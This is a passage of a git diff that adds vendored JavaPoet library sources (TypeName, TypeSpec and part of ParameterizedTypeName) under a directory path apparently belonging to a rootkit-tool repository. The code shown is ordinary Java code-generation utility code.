+ + /** + * Returns a new {@link ParameterizedTypeName} instance for the specified {@code name} as nested + * inside this class, with the specified {@code typeArguments}. + */ + public ParameterizedTypeName nestedClass(String name, List typeArguments) { + checkNotNull(name, "name == null"); + return new ParameterizedTypeName(this, rawType.nestedClass(name), typeArguments, + new ArrayList()); + } + + /** Returns a parameterized type, applying {@code typeArguments} to {@code rawType}. */ + public static ParameterizedTypeName get(ClassName rawType, TypeName... typeArguments) { + return new ParameterizedTypeName(null, rawType, Arrays.asList(typeArguments)); + } + + /** Returns a parameterized type, applying {@code typeArguments} to {@code rawType}. */ + public static ParameterizedTypeName get(Class rawType, Type... typeArguments) { + return new ParameterizedTypeName(null, ClassName.get(rawType), list(typeArguments)); + } + + /** Returns a parameterized type equivalent to {@code type}. */ + public static ParameterizedTypeName get(ParameterizedType type) { + return get(type, new LinkedHashMap()); + } + + /** Returns a parameterized type equivalent to {@code type}. */ + static ParameterizedTypeName get(ParameterizedType type, Map map) { + ClassName rawType = ClassName.get((Class) type.getRawType()); + ParameterizedType ownerType = (type.getOwnerType() instanceof ParameterizedType) + && !Modifier.isStatic(((Class) type.getRawType()).getModifiers()) + ? (ParameterizedType) type.getOwnerType() : null; + List typeArguments = TypeName.list(type.getActualTypeArguments(), map); + return (ownerType != null) + ? get(ownerType, map).nestedClass(rawType.simpleName(), typeArguments) + : new ParameterizedTypeName(null, rawType, typeArguments); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/Test.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/Test.java new file mode 100644 index 0000000..a759dd7 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/Test.java @@ -0,0 +1,5 @@ +package com.squareup.javapoet; + +public class Test { + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/TypeName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/TypeName.java new file mode 100644 index 0000000..c469ce4 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/TypeName.java @@ -0,0 +1,373 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import java.io.IOException; +import java.lang.reflect.GenericArrayType; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.lang.reflect.TypeVariable; +import java.lang.reflect.WildcardType; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import javax.lang.model.element.Modifier; +import javax.lang.model.element.TypeElement; +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.ArrayType; +import javax.lang.model.type.DeclaredType; +import javax.lang.model.type.ErrorType; +import javax.lang.model.type.NoType; +import javax.lang.model.type.PrimitiveType; +import javax.lang.model.type.TypeKind; +import javax.lang.model.type.TypeMirror; +import javax.lang.model.util.SimpleTypeVisitor7; + +/** + * Any type in Java's type system, plus {@code void}. This class is an identifier for primitive + * types like {@code int} and raw reference types like {@code String} and {@code List}. It also + * identifies composite types like {@code char[]} and {@code Set}. + * + *

Type names are dumb identifiers only and do not model the values they name. For example, the + * type name for {@code java.lang.List} doesn't know about the {@code size()} method, the fact that + * lists are collections, or even that it accepts a single type parameter. + * + *

Instances of this class are immutable value objects that implement {@code equals()} and {@code + * hashCode()} properly. + * + *

Referencing existing types

+ * + *

Primitives and void are constants that you can reference directly: see {@link #INT}, {@link + * #DOUBLE}, and {@link #VOID}. + * + *

In an annotation processor you can get a type name instance for a type mirror by calling + * {@link #get(TypeMirror)}. In reflection code, you can use {@link #get(Type)}. + * + *

Defining new types

+ * + *

Create new reference types like {@code com.example.HelloWorld} with {@link + * ClassName#get(String, String, String...)}. To build composite types like {@code char[]} and + * {@code Set}, use the factory methods on {@link ArrayTypeName}, {@link + * ParameterizedTypeName}, {@link TypeVariableName}, and {@link WildcardTypeName}. + */ +public class TypeName { + public static final TypeName VOID = new TypeName("void"); + public static final TypeName BOOLEAN = new TypeName("boolean"); + public static final TypeName BYTE = new TypeName("byte"); + public static final TypeName SHORT = new TypeName("short"); + public static final TypeName INT = new TypeName("int"); + public static final TypeName LONG = new TypeName("long"); + public static final TypeName CHAR = new TypeName("char"); + public static final TypeName FLOAT = new TypeName("float"); + public static final TypeName DOUBLE = new TypeName("double"); + public static final ClassName OBJECT = ClassName.get("java.lang", "Object"); + + private static final ClassName BOXED_VOID = ClassName.get("java.lang", "Void"); + private static final ClassName BOXED_BOOLEAN = ClassName.get("java.lang", "Boolean"); + private static final ClassName BOXED_BYTE = ClassName.get("java.lang", "Byte"); + private static final ClassName BOXED_SHORT = ClassName.get("java.lang", "Short"); + private static final ClassName BOXED_INT = ClassName.get("java.lang", "Integer"); + private static final ClassName BOXED_LONG = ClassName.get("java.lang", "Long"); + private static final ClassName BOXED_CHAR = ClassName.get("java.lang", "Character"); + private static final ClassName BOXED_FLOAT = ClassName.get("java.lang", "Float"); + private static final ClassName BOXED_DOUBLE = ClassName.get("java.lang", "Double"); + + /** The name of this type if it is a keyword, or null. */ + private final String keyword; + public final List annotations; + + /** Lazily-initialized toString of this type name. */ + private String cachedString; + + private TypeName(String keyword) { + this(keyword, new ArrayList()); + } + + private TypeName(String keyword, List annotations) { + this.keyword = keyword; + this.annotations = Util.immutableList(annotations); + } + + // Package-private constructor to prevent third-party subclasses. + TypeName(List annotations) { + this(null, annotations); + } + + public final TypeName annotated(AnnotationSpec... annotations) { + return annotated(Arrays.asList(annotations)); + } + + public TypeName annotated(List annotations) { + Util.checkNotNull(annotations, "annotations == null"); + return new TypeName(keyword, concatAnnotations(annotations)); + } + + public TypeName withoutAnnotations() { + return new TypeName(keyword); + } + + protected final List concatAnnotations(List annotations) { + List allAnnotations = new ArrayList<>(this.annotations); + allAnnotations.addAll(annotations); + return allAnnotations; + } + + public boolean isAnnotated() { + return !annotations.isEmpty(); + } + + /** + * Returns true if this is a primitive type like {@code int}. Returns false for all other types + * types including boxed primitives and {@code void}. + */ + public boolean isPrimitive() { + return keyword != null && this != VOID; + } + + /** + * Returns true if this is a boxed primitive type like {@code Integer}. Returns false for all + * other types types including unboxed primitives and {@code java.lang.Void}. + */ + public boolean isBoxedPrimitive() { + return this.equals(BOXED_BOOLEAN) + || this.equals(BOXED_BYTE) + || this.equals(BOXED_SHORT) + || this.equals(BOXED_INT) + || this.equals(BOXED_LONG) + || this.equals(BOXED_CHAR) + || this.equals(BOXED_FLOAT) + || this.equals(BOXED_DOUBLE); + } + + /** + * Returns a boxed type if this is a primitive type (like {@code Integer} for {@code int}) or + * {@code void}. Returns this type if boxing doesn't apply. + */ + public TypeName box() { + if (keyword == null) return this; // Doesn't need boxing. + if (this == VOID) return BOXED_VOID; + if (this == BOOLEAN) return BOXED_BOOLEAN; + if (this == BYTE) return BOXED_BYTE; + if (this == SHORT) return BOXED_SHORT; + if (this == INT) return BOXED_INT; + if (this == LONG) return BOXED_LONG; + if (this == CHAR) return BOXED_CHAR; + if (this == FLOAT) return BOXED_FLOAT; + if (this == DOUBLE) return BOXED_DOUBLE; + throw new AssertionError(keyword); + } + + /** + * Returns an unboxed type if this is a boxed primitive type (like {@code int} for {@code + * Integer}) or {@code Void}. Returns this type if it is already unboxed. + * + * @throws UnsupportedOperationException if this type isn't eligible for unboxing. + */ + public TypeName unbox() { + if (keyword != null) return this; // Already unboxed. + if (this.equals(BOXED_VOID)) return VOID; + if (this.equals(BOXED_BOOLEAN)) return BOOLEAN; + if (this.equals(BOXED_BYTE)) return BYTE; + if (this.equals(BOXED_SHORT)) return SHORT; + if (this.equals(BOXED_INT)) return INT; + if (this.equals(BOXED_LONG)) return LONG; + if (this.equals(BOXED_CHAR)) return CHAR; + if (this.equals(BOXED_FLOAT)) return FLOAT; + if (this.equals(BOXED_DOUBLE)) return DOUBLE; + throw new UnsupportedOperationException("cannot unbox " + this); + } + + @Override public final boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public final int hashCode() { + return toString().hashCode(); + } + + @Override public final String toString() { + String result = cachedString; + if (result == null) { + try { + StringBuilder resultBuilder = new StringBuilder(); + CodeWriter codeWriter = new CodeWriter(resultBuilder); + emitAnnotations(codeWriter); + emit(codeWriter); + result = resultBuilder.toString(); + cachedString = result; + } catch (IOException e) { + throw new AssertionError(); + } + } + return result; + } + + CodeWriter emit(CodeWriter out) throws IOException { + if (keyword == null) throw new AssertionError(); + return out.emitAndIndent(keyword); + } + + CodeWriter emitAnnotations(CodeWriter out) throws IOException { + for (AnnotationSpec annotation : annotations) { + annotation.emit(out, true); + out.emit(" "); + } + return out; + } + + /** Returns a type name equivalent to {@code mirror}. */ + public static TypeName get(TypeMirror mirror) { + return get(mirror, new LinkedHashMap()); + } + + static TypeName get(TypeMirror mirror, + final Map typeVariables) { + return mirror.accept(new SimpleTypeVisitor7() { + @Override public TypeName visitPrimitive(PrimitiveType t, Void p) { + switch (t.getKind()) { + case BOOLEAN: + return TypeName.BOOLEAN; + case BYTE: + return TypeName.BYTE; + case SHORT: + return TypeName.SHORT; + case INT: + return TypeName.INT; + case LONG: + return TypeName.LONG; + case CHAR: + return TypeName.CHAR; + case FLOAT: + return TypeName.FLOAT; + case DOUBLE: + return TypeName.DOUBLE; + default: + throw new AssertionError(); + } + } + + @Override public TypeName visitDeclared(DeclaredType t, Void p) { + ClassName rawType = ClassName.get((TypeElement) t.asElement()); + TypeMirror enclosingType = t.getEnclosingType(); + TypeName enclosing = + (enclosingType.getKind() != TypeKind.NONE) + && !t.asElement().getModifiers().contains(Modifier.STATIC) + ? enclosingType.accept(this, null) + : null; + if (t.getTypeArguments().isEmpty() && !(enclosing instanceof ParameterizedTypeName)) { + return rawType; + } + + List typeArgumentNames = new ArrayList<>(); + for (TypeMirror mirror : t.getTypeArguments()) { + typeArgumentNames.add(get(mirror, typeVariables)); + } + return enclosing instanceof ParameterizedTypeName + ? ((ParameterizedTypeName) enclosing).nestedClass( + rawType.simpleName(), typeArgumentNames) + : new ParameterizedTypeName(null, rawType, typeArgumentNames); + } + + @Override public TypeName visitError(ErrorType t, Void p) { + return visitDeclared(t, p); + } + + @Override public ArrayTypeName visitArray(ArrayType t, Void p) { + return ArrayTypeName.get(t, typeVariables); + } + + @Override public TypeName visitTypeVariable(javax.lang.model.type.TypeVariable t, Void p) { + return TypeVariableName.get(t, typeVariables); + } + + @Override public TypeName visitWildcard(javax.lang.model.type.WildcardType t, Void p) { + return WildcardTypeName.get(t, typeVariables); + } + + @Override public TypeName visitNoType(NoType t, Void p) { + if (t.getKind() == TypeKind.VOID) return TypeName.VOID; + return super.visitUnknown(t, p); + } + + @Override protected TypeName defaultAction(TypeMirror e, Void p) { + throw new IllegalArgumentException("Unexpected type mirror: " + e); + } + }, null); + } + + /** Returns a type name equivalent to {@code type}. */ + public static TypeName get(Type type) { + return get(type, new LinkedHashMap()); + } + + static TypeName get(Type type, Map map) { + if (type instanceof Class) { + Class classType = (Class) type; + if (type == void.class) return VOID; + if (type == boolean.class) return BOOLEAN; + if (type == byte.class) return BYTE; + if (type == short.class) return SHORT; + if (type == int.class) return INT; + if (type == long.class) return LONG; + if (type == char.class) return CHAR; + if (type == float.class) return FLOAT; + if (type == double.class) return DOUBLE; + if (classType.isArray()) return ArrayTypeName.of(get(classType.getComponentType(), map)); + return ClassName.get(classType); + + } else if (type instanceof ParameterizedType) { + return ParameterizedTypeName.get((ParameterizedType) type, map); + + } else if (type instanceof WildcardType) { + return WildcardTypeName.get((WildcardType) type, map); + + } else if (type instanceof TypeVariable) { + return TypeVariableName.get((TypeVariable) type, map); + + } else if (type instanceof GenericArrayType) { + return ArrayTypeName.get((GenericArrayType) type, map); + + } else { + throw new IllegalArgumentException("unexpected type: " + type); + } + } + + /** Converts an array of types to a list of type names. */ + static List list(Type[] types) { + return list(types, new LinkedHashMap()); + } + + static List list(Type[] types, Map map) { + List result = new ArrayList<>(types.length); + for (Type type : types) { + result.add(get(type, map)); + } + return result; + } + + /** Returns the array component of {@code type}, or null if {@code type} is not an array. */ + static TypeName arrayComponent(TypeName type) { + return type instanceof ArrayTypeName + ? ((ArrayTypeName) type).componentType + : null; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/TypeSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/TypeSpec.java new file mode 100644 index 0000000..f4af5c9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/TypeSpec.java @@ -0,0 +1,598 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static com.squareup.javapoet.Util.checkState; +import static com.squareup.javapoet.Util.hasDefaultModifier; +import static com.squareup.javapoet.Util.requireExactlyOneOf; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.EnumSet; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.Element; +import javax.lang.model.element.Modifier; + +/** A generated class, interface, or enum declaration. */ +public final class TypeSpec { + public final Kind kind; + public final String name; + public final CodeBlock anonymousTypeArguments; + public final CodeBlock javadoc; + public final List annotations; + public final Set modifiers; + public final List typeVariables; + public final TypeName superclass; + public final List superinterfaces; + public final Map enumConstants; + public final List fieldSpecs; + public final CodeBlock staticBlock; + public final CodeBlock initializerBlock; + public final List methodSpecs; + public final List typeSpecs; + public final List originatingElements; + + private TypeSpec(Builder builder) { + this.kind = builder.kind; + this.name = builder.name; + this.anonymousTypeArguments = builder.anonymousTypeArguments; + this.javadoc = builder.javadoc.build(); + this.annotations = Util.immutableList(builder.annotations); + this.modifiers = Util.immutableSet(builder.modifiers); + this.typeVariables = Util.immutableList(builder.typeVariables); + this.superclass = builder.superclass; + this.superinterfaces = Util.immutableList(builder.superinterfaces); + this.enumConstants = Util.immutableMap(builder.enumConstants); + this.fieldSpecs = Util.immutableList(builder.fieldSpecs); + this.staticBlock = builder.staticBlock.build(); + this.initializerBlock = builder.initializerBlock.build(); + this.methodSpecs = Util.immutableList(builder.methodSpecs); + this.typeSpecs = Util.immutableList(builder.typeSpecs); + + List originatingElementsMutable = new ArrayList<>(); + originatingElementsMutable.addAll(builder.originatingElements); + for (TypeSpec typeSpec : builder.typeSpecs) { + originatingElementsMutable.addAll(typeSpec.originatingElements); + } + this.originatingElements = Util.immutableList(originatingElementsMutable); + } + + public boolean hasModifier(Modifier modifier) { + return modifiers.contains(modifier); + } + + public static Builder classBuilder(String name) { + return new Builder(Kind.CLASS, checkNotNull(name, "name == null"), null); + } + + public static Builder classBuilder(ClassName className) { + return classBuilder(checkNotNull(className, "className == null").simpleName()); + } + + public static Builder interfaceBuilder(String name) { + return new Builder(Kind.INTERFACE, checkNotNull(name, "name == null"), null); + } + + public static Builder interfaceBuilder(ClassName className) { + return interfaceBuilder(checkNotNull(className, "className == null").simpleName()); + } + + public static Builder enumBuilder(String name) { + return new Builder(Kind.ENUM, checkNotNull(name, "name == null"), null); + } + + public static Builder enumBuilder(ClassName className) { + return enumBuilder(checkNotNull(className, "className == null").simpleName()); + } + + public static Builder anonymousClassBuilder(String typeArgumentsFormat, Object... args) { + return new Builder(Kind.CLASS, null, CodeBlock.builder() + .add(typeArgumentsFormat, args) + .build()); + } + + public static Builder annotationBuilder(String name) { + return new Builder(Kind.ANNOTATION, checkNotNull(name, "name == null"), null); + } + + public static Builder annotationBuilder(ClassName className) { + return annotationBuilder(checkNotNull(className, "className == null").simpleName()); + } + + public Builder toBuilder() { + Builder builder = new Builder(kind, name, anonymousTypeArguments); + builder.javadoc.add(javadoc); + builder.annotations.addAll(annotations); + builder.modifiers.addAll(modifiers); + builder.typeVariables.addAll(typeVariables); + builder.superclass = superclass; + builder.superinterfaces.addAll(superinterfaces); + builder.enumConstants.putAll(enumConstants); + builder.fieldSpecs.addAll(fieldSpecs); + builder.methodSpecs.addAll(methodSpecs); + builder.typeSpecs.addAll(typeSpecs); + builder.initializerBlock.add(initializerBlock); + builder.staticBlock.add(staticBlock); + return builder; + } + + void emit(CodeWriter codeWriter, String enumName, Set implicitModifiers) + throws IOException { + // Nested classes interrupt wrapped line indentation. Stash the current wrapping state and put + // it back afterwards when this type is complete. + int previousStatementLine = codeWriter.statementLine; + codeWriter.statementLine = -1; + + try { + if (enumName != null) { + codeWriter.emitJavadoc(javadoc); + codeWriter.emitAnnotations(annotations, false); + codeWriter.emit("$L", enumName); + if (!anonymousTypeArguments.formatParts.isEmpty()) { + codeWriter.emit("("); + codeWriter.emit(anonymousTypeArguments); + codeWriter.emit(")"); + } + if (fieldSpecs.isEmpty() && methodSpecs.isEmpty() && typeSpecs.isEmpty()) { + return; // Avoid unnecessary braces "{}". + } + codeWriter.emit(" {\n"); + } else if (anonymousTypeArguments != null) { + TypeName supertype = !superinterfaces.isEmpty() ? superinterfaces.get(0) : superclass; + codeWriter.emit("new $T(", supertype); + codeWriter.emit(anonymousTypeArguments); + codeWriter.emit(") {\n"); + } else { + codeWriter.emitJavadoc(javadoc); + codeWriter.emitAnnotations(annotations, false); + codeWriter.emitModifiers(modifiers, Util.union(implicitModifiers, kind.asMemberModifiers)); + if (kind == Kind.ANNOTATION) { + codeWriter.emit("$L $L", "@interface", name); + } else { + codeWriter.emit("$L $L", kind.name().toLowerCase(Locale.US), name); + } + codeWriter.emitTypeVariables(typeVariables); + + List extendsTypes; + List implementsTypes; + if (kind == Kind.INTERFACE) { + extendsTypes = superinterfaces; + implementsTypes = Collections.emptyList(); + } else { + extendsTypes = superclass.equals(ClassName.OBJECT) + ? Collections.emptyList() + : Collections.singletonList(superclass); + implementsTypes = superinterfaces; + } + + if (!extendsTypes.isEmpty()) { + codeWriter.emit(" extends"); + boolean firstType = true; + for (TypeName type : extendsTypes) { + if (!firstType) codeWriter.emit(","); + codeWriter.emit(" $T", type); + firstType = false; + } + } + + if (!implementsTypes.isEmpty()) { + codeWriter.emit(" implements"); + boolean firstType = true; + for (TypeName type : implementsTypes) { + if (!firstType) codeWriter.emit(","); + codeWriter.emit(" $T", type); + firstType = false; + } + } + + codeWriter.emit(" {\n"); + } + + codeWriter.pushType(this); + codeWriter.indent(); + boolean firstMember = true; + for (Iterator> i = enumConstants.entrySet().iterator(); + i.hasNext(); ) { + Map.Entry enumConstant = i.next(); + if (!firstMember) codeWriter.emit("\n"); + enumConstant.getValue() + .emit(codeWriter, enumConstant.getKey(), Collections.emptySet()); + firstMember = false; + if (i.hasNext()) { + codeWriter.emit(",\n"); + } else if (!fieldSpecs.isEmpty() || !methodSpecs.isEmpty() || !typeSpecs.isEmpty()) { + codeWriter.emit(";\n"); + } else { + codeWriter.emit("\n"); + } + } + + // Static fields. + for (FieldSpec fieldSpec : fieldSpecs) { + if (!fieldSpec.hasModifier(Modifier.STATIC)) continue; + if (!firstMember) codeWriter.emit("\n"); + fieldSpec.emit(codeWriter, kind.implicitFieldModifiers); + firstMember = false; + } + + if (!staticBlock.isEmpty()) { + if (!firstMember) codeWriter.emit("\n"); + codeWriter.emit(staticBlock); + firstMember = false; + } + + // Non-static fields. + for (FieldSpec fieldSpec : fieldSpecs) { + if (fieldSpec.hasModifier(Modifier.STATIC)) continue; + if (!firstMember) codeWriter.emit("\n"); + fieldSpec.emit(codeWriter, kind.implicitFieldModifiers); + firstMember = false; + } + + // Initializer block. + if (!initializerBlock.isEmpty()) { + if (!firstMember) codeWriter.emit("\n"); + codeWriter.emit(initializerBlock); + firstMember = false; + } + + // Constructors. + for (MethodSpec methodSpec : methodSpecs) { + if (!methodSpec.isConstructor()) continue; + if (!firstMember) codeWriter.emit("\n"); + methodSpec.emit(codeWriter, name, kind.implicitMethodModifiers); + firstMember = false; + } + + // Methods (static and non-static). + for (MethodSpec methodSpec : methodSpecs) { + if (methodSpec.isConstructor()) continue; + if (!firstMember) codeWriter.emit("\n"); + methodSpec.emit(codeWriter, name, kind.implicitMethodModifiers); + firstMember = false; + } + + // Types. + for (TypeSpec typeSpec : typeSpecs) { + if (!firstMember) codeWriter.emit("\n"); + typeSpec.emit(codeWriter, null, kind.implicitTypeModifiers); + firstMember = false; + } + + codeWriter.unindent(); + codeWriter.popType(); + + codeWriter.emit("}"); + if (enumName == null && anonymousTypeArguments == null) { + codeWriter.emit("\n"); // If this type isn't also a value, include a trailing newline. + } + } finally { + codeWriter.statementLine = previousStatementLine; + } + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + emit(codeWriter, null, Collections.emptySet()); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public enum Kind { + CLASS( + Collections.emptySet(), + Collections.emptySet(), + Collections.emptySet(), + Collections.emptySet()), + + INTERFACE( + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.STATIC, Modifier.FINAL)), + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.ABSTRACT)), + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.STATIC)), + Util.immutableSet(Arrays.asList(Modifier.STATIC))), + + ENUM( + Collections.emptySet(), + Collections.emptySet(), + Collections.emptySet(), + Collections.singleton(Modifier.STATIC)), + + ANNOTATION( + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.STATIC, Modifier.FINAL)), + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.ABSTRACT)), + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.STATIC)), + Util.immutableSet(Arrays.asList(Modifier.STATIC))); + + private final Set implicitFieldModifiers; + private final Set implicitMethodModifiers; + private final Set implicitTypeModifiers; + private final Set asMemberModifiers; + + Kind(Set implicitFieldModifiers, + Set implicitMethodModifiers, + Set implicitTypeModifiers, + Set asMemberModifiers) { + this.implicitFieldModifiers = implicitFieldModifiers; + this.implicitMethodModifiers = implicitMethodModifiers; + this.implicitTypeModifiers = implicitTypeModifiers; + this.asMemberModifiers = asMemberModifiers; + } + } + + public static final class Builder { + private final Kind kind; + private final String name; + private final CodeBlock anonymousTypeArguments; + + private final CodeBlock.Builder javadoc = CodeBlock.builder(); + private final List annotations = new ArrayList<>(); + private final List modifiers = new ArrayList<>(); + private final List typeVariables = new ArrayList<>(); + private TypeName superclass = ClassName.OBJECT; + private final List superinterfaces = new ArrayList<>(); + private final Map enumConstants = new LinkedHashMap<>(); + private final List fieldSpecs = new ArrayList<>(); + private final CodeBlock.Builder staticBlock = CodeBlock.builder(); + private final CodeBlock.Builder initializerBlock = CodeBlock.builder(); + private final List methodSpecs = new ArrayList<>(); + private final List typeSpecs = new ArrayList<>(); + private final List originatingElements = new ArrayList<>(); + + private Builder(Kind kind, String name, + CodeBlock anonymousTypeArguments) { + checkArgument(name == null || SourceVersion.isName(name), "not a valid name: %s", name); + this.kind = kind; + this.name = name; + this.anonymousTypeArguments = anonymousTypeArguments; + } + + public Builder addJavadoc(String format, Object... args) { + javadoc.add(format, args); + return this; + } + + public Builder addJavadoc(CodeBlock block) { + javadoc.add(block); + return this; + } + + public Builder addAnnotations(Iterable annotationSpecs) { + checkArgument(annotationSpecs != null, "annotationSpecs == null"); + for (AnnotationSpec annotationSpec : annotationSpecs) { + this.annotations.add(annotationSpec); + } + return this; + } + + public Builder addAnnotation(AnnotationSpec annotationSpec) { + this.annotations.add(annotationSpec); + return this; + } + + public Builder addAnnotation(ClassName annotation) { + return addAnnotation(AnnotationSpec.builder(annotation).build()); + } + + public Builder addAnnotation(Class annotation) { + return addAnnotation(ClassName.get(annotation)); + } + + public Builder addModifiers(Modifier... modifiers) { + checkState(anonymousTypeArguments == null, "forbidden on anonymous types."); + Collections.addAll(this.modifiers, modifiers); + return this; + } + + public Builder addTypeVariables(Iterable typeVariables) { + checkState(anonymousTypeArguments == null, "forbidden on anonymous types."); + checkArgument(typeVariables != null, "typeVariables == null"); + for (TypeVariableName typeVariable : typeVariables) { + this.typeVariables.add(typeVariable); + } + return this; + } + + public Builder addTypeVariable(TypeVariableName typeVariable) { + checkState(anonymousTypeArguments == null, "forbidden on anonymous types."); + typeVariables.add(typeVariable); + return this; + } + + public Builder superclass(TypeName superclass) { + checkState(this.kind == Kind.CLASS, "only classes have super classes, not " + this.kind); + checkState(this.superclass == ClassName.OBJECT, + "superclass already set to " + this.superclass); + checkArgument(!superclass.isPrimitive(), "superclass may not be a primitive"); + this.superclass = superclass; + return this; + } + + public Builder superclass(Type superclass) { + return superclass(TypeName.get(superclass)); + } + + public Builder addSuperinterfaces(Iterable superinterfaces) { + checkArgument(superinterfaces != null, "superinterfaces == null"); + for (TypeName superinterface : superinterfaces) { + addSuperinterface(superinterface); + } + return this; + } + + public Builder addSuperinterface(TypeName superinterface) { + checkArgument(superinterface != null, "superinterface == null"); + this.superinterfaces.add(superinterface); + return this; + } + + public Builder addSuperinterface(Type superinterface) { + return addSuperinterface(TypeName.get(superinterface)); + } + + public Builder addEnumConstant(String name) { + return addEnumConstant(name, anonymousClassBuilder("").build()); + } + + public Builder addEnumConstant(String name, TypeSpec typeSpec) { + checkState(kind == Kind.ENUM, "%s is not enum", this.name); + checkArgument(typeSpec.anonymousTypeArguments != null, + "enum constants must have anonymous type arguments"); + checkArgument(SourceVersion.isName(name), "not a valid enum constant: %s", name); + enumConstants.put(name, typeSpec); + return this; + } + + public Builder addFields(Iterable fieldSpecs) { + checkArgument(fieldSpecs != null, "fieldSpecs == null"); + for (FieldSpec fieldSpec : fieldSpecs) { + addField(fieldSpec); + } + return this; + } + + public Builder addField(FieldSpec fieldSpec) { + if (kind == Kind.INTERFACE || kind == Kind.ANNOTATION) { + requireExactlyOneOf(fieldSpec.modifiers, Modifier.PUBLIC, Modifier.PRIVATE); + Set check = EnumSet.of(Modifier.STATIC, Modifier.FINAL); + checkState(fieldSpec.modifiers.containsAll(check), "%s %s.%s requires modifiers %s", + kind, name, fieldSpec.name, check); + } + fieldSpecs.add(fieldSpec); + return this; + } + + public Builder addField(TypeName type, String name, Modifier... modifiers) { + return addField(FieldSpec.builder(type, name, modifiers).build()); + } + + public Builder addField(Type type, String name, Modifier... modifiers) { + return addField(TypeName.get(type), name, modifiers); + } + + public Builder addStaticBlock(CodeBlock block) { + staticBlock.beginControlFlow("static").add(block).endControlFlow(); + return this; + } + + public Builder addInitializerBlock(CodeBlock block) { + if ((kind != Kind.CLASS && kind != Kind.ENUM)) { + throw new UnsupportedOperationException(kind + " can't have initializer blocks"); + } + initializerBlock.add("{\n") + .indent() + .add(block) + .unindent() + .add("}\n"); + return this; + } + + public Builder addMethods(Iterable methodSpecs) { + checkArgument(methodSpecs != null, "methodSpecs == null"); + for (MethodSpec methodSpec : methodSpecs) { + addMethod(methodSpec); + } + return this; + } + + public Builder addMethod(MethodSpec methodSpec) { + if (kind == Kind.INTERFACE) { + requireExactlyOneOf(methodSpec.modifiers, Modifier.ABSTRACT, Modifier.STATIC, Util.DEFAULT); + requireExactlyOneOf(methodSpec.modifiers, Modifier.PUBLIC, Modifier.PRIVATE); + } else if (kind == Kind.ANNOTATION) { + checkState(methodSpec.modifiers.equals(kind.implicitMethodModifiers), + "%s %s.%s requires modifiers %s", + kind, name, methodSpec.name, kind.implicitMethodModifiers); + } + if (kind != Kind.ANNOTATION) { + checkState(methodSpec.defaultValue == null, "%s %s.%s cannot have a default value", + kind, name, methodSpec.name); + } + if (kind != Kind.INTERFACE) { + checkState(!hasDefaultModifier(methodSpec.modifiers), "%s %s.%s cannot be default", + kind, name, methodSpec.name); + } + methodSpecs.add(methodSpec); + return this; + } + + public Builder addTypes(Iterable typeSpecs) { + checkArgument(typeSpecs != null, "typeSpecs == null"); + for (TypeSpec typeSpec : typeSpecs) { + addType(typeSpec); + } + return this; + } + + public Builder addType(TypeSpec typeSpec) { + checkArgument(typeSpec.modifiers.containsAll(kind.implicitTypeModifiers), + "%s %s.%s requires modifiers %s", kind, name, typeSpec.name, + kind.implicitTypeModifiers); + typeSpecs.add(typeSpec); + return this; + } + + public Builder addOriginatingElement(Element originatingElement) { + originatingElements.add(originatingElement); + return this; + } + + public TypeSpec build() { + checkArgument(kind != Kind.ENUM || !enumConstants.isEmpty(), + "at least one enum constant is required for %s", name); + + boolean 